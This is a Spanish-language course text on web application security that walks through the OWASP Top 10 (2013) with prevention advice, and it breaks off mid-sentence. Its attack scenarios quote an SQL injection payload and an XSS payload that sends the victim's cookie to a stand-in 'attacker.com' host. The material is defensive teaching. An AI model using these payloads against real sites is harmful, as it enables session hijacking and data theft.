1.

ANLISIS DE SEGURIDAD DE LOS SERVICIOS WEB ................................................................ 1

1.1. TECNOLOGA CLIENTE-SERVIDOR .............................................................................................. 4
1.2. OWASP TOP TEN ................................................................................................................. 4
1.2.1. A1 Inyeccin ........................................................................................................... 5
1.2.2. A2 Prdida de Autenticacin y Gestin de Sesiones .............................................. 6
1.2.3. A3 Secuencia de Comandos en Sitios Cruzados (Cross Site Scripting -XSS) ............ 8
1.2.4. A4 Referencia Directa Insegura a Objetos ........................................................... 10
1.2.5. A5 Defectuosa Configuracin de Seguridad ........................................................ 11
1.2.6. A6 Exposicin de datos sensibles ......................................................................... 12
1.2.7. A9(2010) Proteccin Insuficiente en la Capa de Transporte ................................ 14
1.2.8. A7 Inexistente control de acceso por funciones ................................................... 15
1.2.9. A8 Falsificacin de Peticiones en Sitios Cruzados (Cross Site Request Forgery - CSRF)
16
1.2.10. A9 Utilizar componentes con vulnerabilidades conocidas ................................... 18
1.2.11. A10 Redirecciones y reenvos no validados ......................................................... 19
2. MECANISMOS DE PROTECCIN DE SISTEMAS WEB ........................................................... 20
2.1. BUENAS PRCTICAS .............................................................................................................. 20
2.2. AUDITORAS DE SEGURIDAD .................................................................................................. 22
2.2.1. Metodologa ........................................................................................................... 22
3. HERRAMIENTAS DE SEGURIDAD PARA SERVICIOS WEB ..................................................... 26
3.1. ADD-ONS DE FIREFOX ........................................................................................................... 26
3.1.1. Tamper Data .......................................................................................................... 27
3.1.2. Firebug ................................................................................................................... 28
3.2. HERRAMIENTAS AUTOMATIZADAS .......................................................................................... 28
3.2.1. Arachni ................................................................................................................... 28

1. Anlisis de seguridad de los servicios web

El desarrollo de Sitios y Sistemas de Informacin Web se ha vuelto una parte fundamental
en la operacin cotidiana de una organizacin, ya sea para agilizar actividades y rutinas
internas o externas o difundir informacin de forma global.
En los inicios de Internet, la World Wide Web consista solamente en sitios Web que eran
bsicamente repositorios de informacin con documentos estticos; como consecuencia de
ello fueron creados los browsers (navegadores Web) como herramienta para desplegar
dicha informacin. El flujo de la informacin ocurra en un solo sentido, de servidor a
browser. Por tanto, no existan mtodos de autenticacin, ya que no eran requeridos. Si un
atacante comprometa un servidor y ganaba acceso a la informacin contenida, en realidad
no obtena nada sensitivo y relevante, ya que todo el material era de ndole pblica.
Conforme las necesidades del entorno han ido creciendo, as lo hace la complejidad y
requisitos en sitios y sistemas, provocando a veces desarrollos rpidos que funcionen, y se
vean bien. Sin embargo, Se toma en cuenta la seguridad?
Hoy en da, la World Wide Web est construida por sitios que, en su mayora, son
aplicaciones, altamente funcionales, y que realizan un constante intercambio de datos

Control y Seguridad de Tecnologa de Informacin

Pgina 1 de 32
entre servidor y cliente (browser). Con ello, los sitios soportan entre otras caractersticas:
autenticacin y registro, transacciones financieras, bsquedas y autorizacin de contenido
por usuarios.
Los Sistemas de Informacin Web han sido creados para desempear, prcticamente, todas
las funciones posibles de implementar en un servicio online. Algunos ejemplos de las
funciones que desempean, son: tiendas online (Amazon), redes sociales (Twitter,
Facebook), banca en lnea (Bancomer, Banamex), bsqueda (Google), subastas (eBay),
correo electrnico (Outlook, Gmail), informacin interactiva (Wikipedia), etc. Inclusive,
aplicaciones que originalmente fueron implementadas como independientes de los
servicios Web, estn migrando a implementaciones en lnea debido a la escalabilidad y a las
grandes prestaciones que ofrece Internet.
A su vez, estos sitios web se han vuelto la cara de la organizacin a un nivel global, gracias
a facilidad que se tiene gracias a internet de obtener informacin a un clic de distancia.
Sin embargo, esto tambin los vuelve un importante blanco para usuarios maliciosos:
Internet es una red tan grande que su control y regulacin es casi imposible, por lo que su
uso supone una constante exposicin a diversos tipos de amenazas y su seguridad recae en
todos y cada uno de sus usuarios. El reporte Top Cyber Security Risks de septiembre de 2009
del instituto SANS revel que ms del 60% de los ataques en internet eran lanzados contra
aplicaciones web.
Antes de adentrarnos en las vulnerabilidades y pruebas de Aplicaciones o Sistemas Web,
empecemos por definir, qu es una aplicacin Web?

Control y Seguridad de Tecnologa de Informacin

Pgina 2 de 32
sta se entiende a partir de dos componentes cruciales: primero, las aplicaciones Web son
accedidas va peticiones HTTP o HTTPS a travs de la red; segundo, involucran a los
servidores Web.
La mayora de las aplicaciones Web (pero no todas), implican que las peticiones fueron
realizadas desde un navegador Web; que pueden ser de caractersticas generales y
completas (Firefox, Chrome, Internet Explorer), o ms especializados (iTunes, para
reproduccin de msica). Adems, existen aplicaciones Web que necesitan de otras
aplicaciones adicionales backend, como bases de datos (Microsoft SQL Server, Oracle,
MySQL).
Si un sitio, o peor aun, una aplicacin o sistema resulta vulnerado, se pueden ver
impactados varios elementos de la organizacin, por ejemplificar:
La infraestructura en la que se encuentra funcionando el sistema se vuelve
comprometida. Los fierros detrs de un sitio o sistema se vuelven contra la organizacin,
siendo usados para atacar a otros como equipos zombie. Al final del da alguien est
pagando para que el sitio o sistema se encuentre en internet.
Disrupcin de la operacin normal de la organizacin. Al encontrarse inoperativo el
sistema o sitio, se detienen parcial o totalmente las operaciones que dependen de este.
Se pueden obtener privilegios de acceso a informacin sensible de la organizacin. Datos
personales, actividades internas, cuentas bancarias.
Prdida de reputacin a nivel global. Debido a la misma difusin que se tiene de estos
ataques, a ningn usuario le gusta que la informacin que ha confiado a la organizacin sea
divulgada, causando que la organizacin sea menos de fiar en actividades futuras,
perdiendo clientes y activos en el proceso.
Por mucho tiempo, los servidores tambin han sido vctimas de una gran cantidad de
vulnerabilidades. Por ello es tambin importante, conocer las caractersticas de los ms
representativos en el mercado actual. Una gran parte de los servicios Web existentes a la
fecha, son provistos por dos soluciones: Hyper Text Transfer Protocol Daemon (HTTPD) de
Apache Software Foundation e Internet Information Services (IIS) de Microsoft. De acuerdo
con Netcraft estos servidores cubren ms del 65% del mercado (octubre 2015).
Y porqu se han incrementado tanto los ataques a los Sistemas de Informacin Web?
Como se haba mencionado, el impacto hacia las actividades de la organizacin, as como la
obtencin de informacin valiosa de la misma han originado que los sitios se vuelvan un
blanco ms apetitoso para el atacante, pero no solo eso ha hecho que se disparen los
ataques. Cada da somos ms usuarios en internet.
A su vez, la tecnologa sigue avanzando, proporcionando al usuario ms poder de cmputo
en dispositivos cada vez ms pequeos, que pueden estar conectados a internet 24/7. Esto
se traduce a que inclusive un Smartphone, con el software necesario, ya tiene la capacidad
de vulnerar sitios y sistemas desde cualquier parte del mundo.
Debido a lo anterior, el desarrollador ya no nicamente debe preocuparse de que el sistema
funcione y se vea bonito: la seguridad siempre debe ser una prioridad en el desarrollo. Para

Control y Seguridad de Tecnologa de Informacin

Pgina 3 de 32
esto, se darn a conocer los diferentes vectores de ataques usados actualmente para su
entendimiento, buenas prcticas y herramientas que ayudarn a detectar y evitar que el
sistema sea fcilmente vulnerado.
1.1. Tecnologa Cliente-Servidor

Lenguajes o tecnologas del lado del cliente o servidor: Cuando nosotros damos clic sobre
un enlace hipertexto, en realidad lo que pasa es que establecemos una peticin de un
archivo HTML residente en el servidor (un ordenador que se encuentra continuamente
conectado a la red) el cual es enviado e interpretado por nuestro browser (el cliente).

As pues, podemos hablar de lenguajes de lado servidor que son aquellos lenguajes que son
reconocidos, ejecutados e interpretados por el propio servidor y que se envan al cliente en
un formato comprensible para l. Por otro lado, los lenguajes de lado cliente (entre los
cuales no slo se encuentra el HTML sino tambin el Java y el JavaScript los cuales son
simplemente incluidos en el cdigo HTML) son aquellos que pueden ser directamente
"digeridos" por el navegador y no necesitan un pretratamiento.
1.2. OWASP Top Ten

El proyecto abierto de seguridad en aplicaciones Web (OWASP por sus siglas en ingls,
http://www.owasp.org) es una comunidad abierta dedicada a habilitar a las organizaciones
para desarrollar, comprar y mantener aplicaciones confiables.

Todas la herramientas, documentos, foros y captulos de OWASP son gratuitos y abiertos a

cualquiera interesado en mejorar la seguridad en aplicaciones.

La Fundacin OWASP es una entidad sin nimo de lucro para asegurar el xito a largo plazo
del proyecto. Casi todos los miembros de OWASP son voluntarios, incluyendo el Directorio
OWASP, los Comits Globales, Lderes de Captulos, Lderes de Proyectos, y miembros de
proyectos.

Esta comunidad tiene como objetivo mejorar la seguridad en software y promover la

visibilidad de la seguridad para que los individuos e instituciones tomen decisiones
informadas sobre el verdadero riesgo del software que usan.

OWASP Top 10

El software inseguro esta debilitando actualmente nuestra infraestructura critica financiera,

de salud, defensa, energa, y otras. A medida que nuestra infraestructura digital es cada vez
ms compleja e interconectada, la dificultad de lograr que una aplicacin sea segura
incrementa exponencialmente. Ya no podemos darnos el lujo de tolerar los problemas de
seguridad relativamente simples, como los presentados en el OWASP Top 10.

Control y Seguridad de Tecnologa de Informacin

Pgina 4 de 32
El objetivo del proyecto Top 10 es crear conciencia sobre la seguridad en aplicaciones
mediante la identificacin de algunos de los riesgos ms crticos que enfrentan las
organizaciones. El proyecto Top 10 es referenciado por numerosos estndares, libros, y
organizaciones, incluyendo MITRE, PCI DSS, DISA, FTC, y muchos ms. Esta versin del
OWASP Top 10 marca el octavo ao del proyecto creando conciencia sobre la importancia
de los riesgos de seguridad en aplicaciones. El OWASP Top 10 fue lanzado por primera vez
en 2003, se hicieron actualizaciones menores en 2004, 2007, 2010, y actualmente se
encuentran en la versin de 2013.

Los desarrolladores pueden aprender de los errores de otras organizaciones. Los ejecutivos
deben comenzar a pensar como gestionar el riesgo que las aplicaciones de software crean
en sus empresas.

Pero el Top 10 no es un programa de seguridad en aplicaciones. Mirando a futuro, OWASP

recomienda que las organizaciones establezcan una base slida de formacin, estndares y
herramientas que hagan posible la codificacin segura. Por encima de esa base, las
organizaciones deben integrar la seguridad en su desarrollo, verificacin y procesos de
mantenimiento. La gerencia puede utilizar los datos generados por estas actividades para
gestionar los costos y riesgos asociados a la seguridad en aplicaciones.

Por cada tem en el Top 10, esta edicin describe la probabilidad general y los factores de
consecuencia que se utilizan para clasificar la gravedad tpica del riesgo. Luego presenta
orientacin sobre como verificar si usted posee problemas en esta rea, como evitarlos,
algunos ejemplos y enlaces a mayor informacin.
1.2.1. A1 Inyeccin

Las fallas de inyeccin, tales como SQL, OS, y LDAP, ocurren cuando datos no confiables son
enviados a un interprete como parte de un comando o consulta. Los datos hostiles del
atacante pueden engaar al interprete en ejecutar comandos no intencionados o acceder
datos no autorizados.

Cualquier interprete est expuesto a esta vulnerabilidad, algunos ejemplos son SQL, XPath
XQuery, XML, XSLT, LDAP

Soy vulnerable? La mejor manera de saber si una aplicacin es vulnerable a inyeccin es

verificar que todo uso de los interpretes claramente separe datos no confiables del
comando o consulta. Para llamados SQL, esto significa utilizar variables parametrizadas en
todas las declaraciones preparadas y procedimientos almacenados, como as tambin evitar
consultas dinmicas.

Revisar el cdigo es una manera fcil y efectiva para ver si la aplicacin utiliza los interpretes
de manera segura. Las herramientas de anlisis de cdigo pueden ayudar a un analista de
seguridad a encontrar la utilizacin de interpretes y rastrear el flujo de datos en la
aplicacin. Los testeos de penetracin pueden validar estos problemas a travs de fallas
especialmente hechas a mano que confirman la vulnerabilidad.

Control y Seguridad de Tecnologa de Informacin

Pgina 5 de 32
Los escaneos dinmicos automatizados ejercitados en la aplicacin pueden proveer una
buena comprensin sobre si alguna falla de inyeccin existe. Los escneres no siempre
pueden llegar a los interpretes y tienen dificultad en detectar si un ataque fue exitoso. Un
manejo pobre de los errores hace mas fcil la deteccin de fallas de inyeccin.

Cmo evitarlo? Prevenir la inyeccin requiere mantener los datos no confiables separados
de comandos y consultas.

1.La opcin preferida es utilizar una API segura que evite el uso del interprete
completamente o provea una interface parametrizada. Sea cuidadoso con APIs, tales como
procedimientos almacenados, que son parametrizados, pero que aun pueden introducir
inyeccin implcitamente.

2.Si una API parametrizada no se encuentra disponible, usted debe cuidadosamente

escapar los caracteres especiales utilizando una sintaxis de escape especial para dicho
interprete. OWASPs ESAPI posee algunas de estas rutinas de escape.

3.Una validacin positiva de entradas con una apropiada canonicalizacin es tambin

recomendado, pero no es una defensa completa ya que muchas aplicaciones requieren
caracteres especiales en sus entradas. OWASPs ESAPI tiene una librera extensible de
rutinas de validacin de entradas.

Ejemplos de escenarios de ataque: La aplicacin utiliza datos no confiables en la

construccin de la siguiente consulta vulnerable SQL:

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id")

+"'";

El atacante modifica el parmetro id en su navegador para enviar:

' or '1'='1.

Esto cambia el significado de la consulta devolviendo todos los registros de la tabla

ACCOUNTS en lugar de solo el cliente solicitado.

http://example.com/app/accountView?id=' or '1'='1

En el peor caso, el atacante utiliza esta vulnerabilidad para invocar procedimientos

almacenados especiales en la base de datos que permiten la toma de posesin de la base
de datos y posiblemente tambin al servidor que aloja la misma.
1.2.2. A2 Prdida de Autenticacin y Gestin de Sesiones

Las funciones de la aplicacin relacionadas a autenticacin y gestin de sesiones son

frecuentemente implementadas incorrectamente, permitiendo a los atacantes
comprometer contraseas, llaves, token de sesiones, o explotar otras fallas de
implementacin para asumir la identidad de otros usuarios.
Control y Seguridad de Tecnologa de Informacin
Pgina 6 de 32
Soy vulnerable? Los primeros activos a proteger son las credenciales y los identificadores
de sesin.

1.Estn siempre las credenciales protegidas cuando se almacenan utilizando un hash o

cifrado? Consultar el punto A6.

2.Se pueden adivinar o sobrescribir las credenciales a travs de funciones dbiles de

gestin de la cuenta (por ejemplo, registro de usuarios, cambiar contraseas, recuperacin
de contraseas, identificadores dbiles de sesin)?

3.Se muestran los identificadores de sesin en la direccin URL? (por ejemplo, re-escritura
de la direccin)?

4.Son los identificadores de sesin vulnerables a ataques de fijacin de la sesin?

5.Caducan las sesiones y pueden los usuarios cerrar sus sesiones?

6.Se rotan los identificadores de sesiones despus de una autenticacin correcta?

7.Se envan las contraseas, identificadores de sesin y otras credenciales nicamente

mediante conexiones encriptadas? Consultar la seccin A6.

Cmo evitarlo? La recomendacin principal para una organizacin es facilitar a los

desarrolladores:

1.Un nico conjunto de controles de autenticacin fuerte y gestin de sesiones.

2.Se debe hacer especial hincapi en evitar vulnerabilidades de XSS que podran ser
utilizadas para robar identificadores de sesin. Consultar el apartado A3.

Ejemplos de escenarios de ataque: Escenario #1: Aplicacin de reserva de vuelos que

soporta re-escritura de direcciones URL poniendo los identificadores de sesin en la propia
direccin:

http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?d
est=Hawaii

Un usuario autenticado en el sitio quiere mostrar la venta a sus amigos. Enva por correo
electrnico el enlace anterior, sin ser consciente de que est proporcionando su
identificador de sesin. Cuando sus amigos utilicen el anterior enlace utilizarn su sesin y
su tarjeta de crdito.

Escenario #2: No se establecen correctamente los tiempos de desconexin en la aplicacin.

Un usuario utiliza un ordenador pblico para acceder al sitio. En lugar de utilizar la funcin
de Cerrar sesin, cierra la pestaa del navegador y se marcha. Un atacante utiliza el
mismo navegador al cabo de una hora, y ese navegador todava se encuentra autenticado.

Control y Seguridad de Tecnologa de Informacin

Pgina 7 de 32
Escenario #3: Un atacante de dentro de la organizacin, o externo, consigue acceder a la
base de datos de contraseas del sistema. Las contraseas de los usuarios no se encuentran
cifradas, mostrando todas las contraseas en claro al atacante.
1.2.3. A3 Secuencia de Comandos en Sitios Cruzados (Cross Site Scripting -XSS)

Las fallas XSS ocurren cada vez que una aplicacin toma datos no confiables y los enva al
navegador web sin una validacin y codificacin apropiada. XSS permite a los atacantes
ejecutar secuencia de comandos en el navegador de la vctima los cuales pueden secuestrar
las sesiones de usuario, destruir sitios web, o dirigir al usuario hacia un sitio malicioso.

Los ataques XSS pueden ser generalmente categorizados en dos categoras: almacenados y
reflejados. Hay una tercera categora, mucho menos conocida, llamada XSS Basado en
DOM.

Los ataques almacenados son aquellos en los que el cdigo inyectado est
permanentemente almacenado en servidores que han sido blanco del ataque, como una
base de datos, en un mensaje en un foro, log de visitas, campo de comentarios, etc. La
vctima posteriormente recibe el script malicioso del servidor cuando solicita la informacin
almacenada.

Los ataques reflejados son aquellos en los que el cdigo inyectado es reflejado en el servidor
web, como en un mensaje de error, resultado de bsqueda, o cualquier otra respuesta que
incluya alguno o todos los elementos de entrada al servidor como parte de la solicitud. Los
ataques reflejados se envan a la vctima a travs de otra ruta, como un mensaje de correo,
o a travs de otro servidor web. Cuando un usuario es engaado para dar clic a un enlace
malicioso o para enviar una forma especialmente preparada, el cdigo inyectado viaja al
servidor web vulnerable, el cual refleja el ataque al navegador del usuario. El navegador
entonces ejecuta el cdigo debido a que vino de un usuario confiable.

Los ataques basados en DOM (o como se llaman en otros textos, XSS tipo 0), son ataques
XSS donde el payload del ataque es ejecutado como resultado de modificar el ambiente
DOM en el navegador de la vctima usado por el script del lado del cliente originado, para
que el cdigo del cliente corra de una manera no esperada. Esto es, el sitio en s no cambia,
pero el cdigo del cliente contenido en la pgina se ejecuta de forma diferente debido a
que existen modificaciones maliciosas en el ambiente DOM.

Soy vulnerable? Es necesario asegurarse que todos los datos de entrada suministrados por
el usuario enviados al navegador sean seguros (a travs de validacin de entradas), y que
las entradas de usuario sean apropiadamente escapadas antes de que sean incluidas en la
pagina de salida. Una apropiada codificacin de salida asegura que los datos de entrada
sean siempre tratados como texto en el navegador, en lugar de contenido activo que puede
ser ejecutado.

Control y Seguridad de Tecnologa de Informacin

Pgina 8 de 32
Tanto las herramientas estticas como dinmicas pueden encontrar algunos problemas de
XSS automticamente. Sin embargo, cada aplicacin construye las paginas de salida
diferentemente y utiliza diferentes interpretes tales como JavaScript, ActiveX, Flash, y
Silverlight, lo que dificulta la deteccin automtica. Por lo tanto, una cobertura completa
requiere una combinacin de revisin manual de cdigo y testeo manual de penetracin,
adems de cualquier testeo automtico en uso.

Tecnologas Web 2.0, tales como AJAX, dificultan la deteccin de XSS a travs de
herramientas automatizadas.

Cmo evitarlo? Prevenir XSS requiere mantener los datos no confiables separados del
contenido activo del navegador.

1.La opcin preferida es escapar todos los datos no confiables basados en el contexto HTML
(cuerpo, atributo, JavaScript, CSS, o URL) donde los mismos sern ubicados. Los
desarrolladores necesitan incluir esta tcnica en sus aplicaciones al menos que el marco UI
lo realice por ellos.

2.Una validacin de entradas positiva o whitelist con apropiada canonicalizacin y

decodificacin es tambin recomendable ya que ayuda a proteger contra XSS, pero no es
una defensa completa ya que muchas aplicaciones requieren caracteres especiales en sus
entradas. Tal validacin debera, tanto como sea posible, decodificar cualquier entrada
codificada, y luego validar la longitud, caracteres, formato, y cualquier regla de negocio en
dichos datos antes de aceptar la entrada.

Ejemplos de escenarios de ataque: La aplicacin utiliza datos no confiables en la

construccin del siguiente cdigo HTML sin validar o escapar los datos:

(String) page += "<input name='creditcard' type='TEXT value='" +

request.getParameter("CC") + "'>";

El atacante modifica el parmetro CC en el navegador:

'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.

Esto causa que el identificador de sesin de la victima sea enviado al sitio web del atacante,
permitiendo al atacante secuestrar la sesin actual del usuario. Notar que los atacantes
pueden tambin utilizar XSS para anular cualquier defensa CSRF que la aplicacin pueda
utilizar. Ver A5 para informacin sobre CSRF.

Control y Seguridad de Tecnologa de Informacin

Pgina 9 de 32
 1.2.4. A4 Referencia Directa Insegura a Objetos

Una referencia directa a objetos ocurre cuando un desarrollador expone una referencia a
un objeto de implementacin interno, tal como un fichero, directorio, o base de datos. Sin
un chequeo de control de acceso u otra proteccin, los atacantes pueden manipular estas
referencias para acceder datos no autorizados.

Soy vulnerable? La mejor manera de poder comprobar si una aplicacin es vulnerable a

referencias inseguras a objetos es verificar que todas las referencias a objetos tienen las
protecciones apropiadas. Para conseguir esto, considerar:

1.para referencias directas a recursos restringidos, la aplicacin necesitara verificar si el

usuario est autorizado a acceder al recurso en concreto que solicita.

2.si la referencia es una referencia indirecta, la correspondencia con la referencia directa

debe ser limitada a valores autorizados para el usuario en concreto. Un anlisis del cdigo
de la aplicacin servira para verificar rpidamente si dichas propuestas se implementan con
seguridad. Tambin es efectivo realizar comprobaciones para identificar referencias a
objetos directos y si estos son seguros. Normalmente las herramientas automticas no
detectan este tipo vulnerabilidades porque no son capaces de reconocer cuales necesitan
proteccin o cuales son seguros o inseguros.

Cmo evitarlo? Prevenir referencias inseguras a objetos directos requiere seleccionar una
manera de proteger los objetos accesibles por cada usuario (por ejemplo, identificadores
de objeto, nombres de fichero):

1.Utilizar referencias indirectas por usuario o sesin. Esto evitara que los atacantes
accedieren directamente a recursos no autorizados. Por ejemplo, en vez de utilizar la clave
del recurso de base de datos, se podra utilizar una lista de 6 recursos que utilizase los
nmeros del 1 al 6 para indicar cul es el valor elegido por el usuario. La aplicacin tendra
que realizar la correlacin entre la referencia indirecta con la clave de la base de datos
correspondiente en el servidor. ESAPI de OWASP incluye relaciones tanto secuenciales
como aleatorias de referencias de acceso que los desarrolladores pueden utilizar para
eliminar las referencias directas a objetos.

2.Comprobar el acceso. Cada uso de una referencia directa a un objeto de una fuente que
no es de confianza debe incluir una comprobacin de control de acceso para asegurar que
el usuario est autorizado a acceder al objeto solicitado.

Ejemplos de escenarios de ataque: La aplicacin utiliza datos no verificados en una llamada

SQL que accede a informacin sobre la cuenta:

String query = "SELECT * FROM accts WHERE account = ?";

PreparedStatement pstmt = connection.prepareStatement(query , );

Control y Seguridad de Tecnologa de Informacin

Pgina 10 de 32
pstmt.setString( 1, request.getparameter("acct"));

ResultSet results = pstmt.executeQuery( );

El atacante simplemente modificara el parmetro acct en su navegador para enviar

cualquier nmero de cuenta que quiera. Si esta accin no se verifica, el atacante podra
acceder a cualquier cuenta de usuario, en vez de a su cuenta de cliente correspondiente.

http://example.com/app/accountInfo?acct=notmyacct
1.2.5. A5 Defectuosa Configuracin de Seguridad

Una buena seguridad requiere tener definida e implementada una configuracin segura
para la aplicacin, marcos de trabajo, servidor de aplicacin, servidor web, base de datos, y
plataforma. Todas estas configuraciones deben ser definidas, implementadas, y mantenidas
ya que por lo general no son seguras por defecto. Esto incluye mantener todo el software
actualizado, incluidas las libreras de cdigo utilizadas por la aplicacin.

Soy vulnerable? Ha fortalecido la seguridad en todos los niveles de la pila de la

aplicacin?

1.Tiene implementados procesos que permitan mantener actualizado el software de su

organizacin?. Esto incluye el sistema operativo, los servidores web/aplicacin, los sistemas
DBMS, las aplicaciones y todas las bibliotecas de cdigo.

2.Todo lo innecesario ha sido deshabilitado, removido o desinstalado (p.e. puertos,

servicios, pginas, cuentas de usuario, privilegios)?

3.Ha cambiado, o deshabilitado, las contraseas de las cuentas predeterminadas?

4.Ha configurado el sistema de manejo de errores para prevenir que se acceda de forma
no autorizada a los mensajes de error?

5.Se han comprendido y configurado de forma adecuada las caractersticas de seguridad

de las bibliotecas y ambientes de desarrollo (p.e. Struts, Spring, SEAM, ASP.NET)? Se
requiere un proceso concertado, repetible y replicable; para desarrollar y mantener una
correcta configuracin de seguridad de la aplicacin.

Cmo evitarlo? Las principales recomendaciones se enfocan en establecer lo siguiente:

1.Un proceso repetible que permita configurar, rpida y fcilmente, entornos asegurados.
Los entornos de desarrollo, pruebas y produccin deben estar configurados de la misma
forma. Este proceso debe ser automatizado para minimizar el esfuerzo requerido en la
configuracin de un nuevo entorno.

Control y Seguridad de Tecnologa de Informacin

Pgina 11 de 32
2.Un proceso para mantener y desplegar todas actualizaciones y parches de software de
manera oportuna. Este proceso debe seguirse en cada uno de los ambientes de trabajo. Es
necesario que se incluya las actualizaciones de todas las bibliotecas de cdigo.

3.Una arquitectura robusta de la aplicacin que provea una buena separacin y seguridad
entre los componentes.

4.Considerar la realizacin peridica de exploraciones (scan) y auditorias para ayudar a

detectar fallos en la configuracin o parches faltantes.

Ejemplos de escenarios de ataque: Escenario #1: La aplicacin est basada en un ambiente

de trabajo como Struts o Spring. Se han presentado defectos de XSS en algunos de los
componentes que utiliza la aplicacin. Se ha liberado una actualizacin que sirve para
corregir esos defectos. Hasta que no se realicen dichas actualizaciones, los atacantes
podrn encontrar y explotar los fallos, ahora conocidos, de la aplicacin.

Escenario #2: La consola de administracin del servidor de aplicaciones est instalada y no

ha sido removida. Las cuentas predeterminadas no han sido cambiadas. Los atacantes
descubren que las pginas de administracin estn activas, se registran con las claves
predeterminadas y toman posesin de los servicios.

Escenario #3: El listado del contenido de los directorios no est deshabilitado en el servidor.
Los atacantes descubren que pueden encontrar cualquier archivo simplemente
consultando el listado de los directorios. Los atacantes encuentran y descargan las clases
java compiladas. Dichas clases son desensambladas por ingeniera reversa para obtener su
cdigo. A partir de un anlisis del cdigo se pueden detectar defectos en el control de
acceso de la aplicacin.

Escenario #4. La configuracin del servidor de aplicaciones permite que los mensajes de la
pila sean retornados a los usuarios. Eso potencialmente expone defectos en la aplicacin.
Los atacantes adoran la informacin de error que dichos mensajes proveen.
1.2.6. A6 Exposicin de datos sensibles

Muchas aplicaciones web no protegen adecuadamente los datos sensibles, tales como
tarjetas de crdito, NSSs, y credenciales de autenticacin con mecanismos de cifrado o
hashing. Atacantes pueden modificar o robar tales datos protegidos inadecuadamente para
conducir robos de identidad, fraudes de tarjeta de crdito u otros crmenes.

Soy vulnerable? Lo primero que debe identificar son los datos que son suficientemente
sensibles y requieren cifrado. Por ejemplo, contraseas, tarjetas de crdito, datos mdicos
e informacin personal. Para todos ellos, asegrese de que:

1.Est cifrado en todos aquellos lugares donde es almacenado durante periodos largos,
especialmente en copias de seguridad de estos datos.

Control y Seguridad de Tecnologa de Informacin

Pgina 12 de 32
2.Slo usuarios autorizados tienen acceso a los datos descifrados (por ejemplo, control de
acceso Vea A4 y A8)

3.Utilice un algoritmo estndar seguro.

4.Genere una clave segura, protjala ante accesos no autorizados y elabore un plan para el
cambio de claves

Cmo evitarlo? El listado de todos los peligros del cifrado inseguro est fuera del alcance
de este documento. Sin embargo, para todos los datos sensibles que requieran cifrado, haga
como mnimo lo siguiente:

1.Considere las amenazas que afecten a sus datos y de las cuales se quiera proteger (por
ejemplo, ataques internos, usuarios externos) y asegrese de que todos los datos estn
cifrados de manera que se defienda de las amenazas.

2.Asegrese de que las copias de seguridad almacenadas externamente estn cifradas, pero
las claves son gestionadas y almacenadas de forma separada.

3.Asegrese del uso adecuado de algoritmos estndares robustos, que las claves usadas son
fuertes y que existe una gestin de claves adecuada.

4.Asegrese de que sus contraseas se almacenan en forma de hash con un algoritmo

estndar robusto y con sal.

5.Asegrese de que todas las claves y contraseas son protegidas contra acceso no
autorizado.

Ejemplos de escenarios de ataque: Escenario #1: Una aplicacin cifra las tarjetas de crdito
en la base de datos para prevenir que los datos sean expuestos a los usuarios finales. Sin
embargo, la base de datos descifra automticamente las columnas de las tarjetas de
crdito, permitiendo que una vulnerabilidad de inyeccin de SQL pueda extraer las tarjetas
de crdito en texto plano. El sistema debera haberse configurado de manera que solo las
aplicaciones del back-end pudieran descifrar los datos, no la capa frontal de la aplicacin
web.

Escenario #2: Una cinta de backup almacena datos mdicos cifrados pero la clave en cifrado
se encuentra en el mismo backup. La cinta nunca llega al centro de copias de seguridad.

Escenario #3: La base de datos de contraseas usa hashes sin sal para almacenar las
contraseas de todos los usuarios. Una vulnerabilidad en la subida de ficheros permite a un
atacante obtener el fichero de contraseas. Todos los hashes sin sal se pueden romper en
4 semanas, mientras que los hashes con sal llevaras ms de 3000 aos.

Control y Seguridad de Tecnologa de Informacin

Pgina 13 de 32
 1.2.7. A9(2010) Proteccin Insuficiente en la Capa de Transporte

Las aplicaciones frecuentemente fallan al autenticar, cifrar, y proteger la confidencialidad e

integridad de trfico de red sensible. Cuando esto ocurre, es debido a la utilizacin de
algoritmos dbiles, certificados expirados, invlidos, o sencillamente no utilizados
correctamente.

Soy vulnerable? La mejor forma de averiguar si una aplicacin se encuentra

insuficientemente protegida en la capa de transporte, es verificar que:

1.Se utiliza SSL para proteger todo el trfico relacionado con la autenticacin.

2.Se utiliza SSL para todos los recursos de pginas y servicios privados. Esto protege todos
los datos y tokens de sesin que se intercambian. Se debe evitar el acceso SSL nicamente
a determinados recursos de una pgina ya que esto provoca advertencias en el navegador
y puede exponer el identificador de sesin de los usuarios.

3.Slo se soportan algoritmos considerados fuertes.

4.Todas las cookies de sesin tienen el atributo secure activado, de forma que el
navegador nunca las transmita en claro.

5.El certificado del servidor es legtimo y se encuentra configurado correctamente para este
servidor. Esto incluye que sea emitido por una entidad autorizada, que no haya expirado,
que no se encuentre revocado y que se ajuste a todos los dominios utilizados por la
aplicacin.

Cmo evitarlo? Proporcionar una proteccin adecuada a la capa de transporte puede

afectar al diseo de la aplicacin. De esta forma, resulta ms fcil requerir SSL para la
aplicacin completa. Por razones de rendimiento, algunas aplicaciones utilizan SSL
nicamente para acceder a pginas privadas. Otras, utilizan SSL slo en pginas crticas,
pero esto puede exponer identificadores de sesin y otra informacin sensible. Como
mnimo, se debera aplicar lo siguiente:

1.Requerir SSL para todas las pginas sensibles. Las peticiones sin SSL a estas pginas deben
ser redirigidas a las pginas con SSL.

2.Establecer el atributo secure en todas las cookies sensibles.

3.Configurar el servidor SSL para que acepte nicamente algoritmos considerados fuertes
(por ejemplo, que cumpla FIPS 140-2).

4.Verificar que el certificado sea vlido, no se encuentre expirado o revocado y que se ajuste
a todos los dominios utilizados por la aplicacin.

Control y Seguridad de Tecnologa de Informacin

Pgina 14 de 32
5.Conexiones a sistemas finales (back-end) y otros sistemas tambin deben utilizar SSL u
otras tecnologas de cifrado.

Ejemplos de escenarios de ataque: Escenario #1: Una aplicacin no utiliza SSL para todas
las pginas que requieren autenticacin. El atacante simplemente captura el trfico de red
(por ejemplo, a travs de una red inalmbrica abierta o un sistema vecino de su red
cableada), y observa la cookie de sesin de una vctima autenticada.

Escenario #2: Una aplicacin utiliza un certificado SSL configurado incorrectamente, lo que
provoca que el navegador muestre advertencias a sus usuarios. Los usuarios tienen que
aceptar dichas advertencias y continuar para poder acceder a la aplicacin. Esto hace que
los usuarios se acostumbren a estos avisos. Un ataque de phishing contra la aplicacin atrae
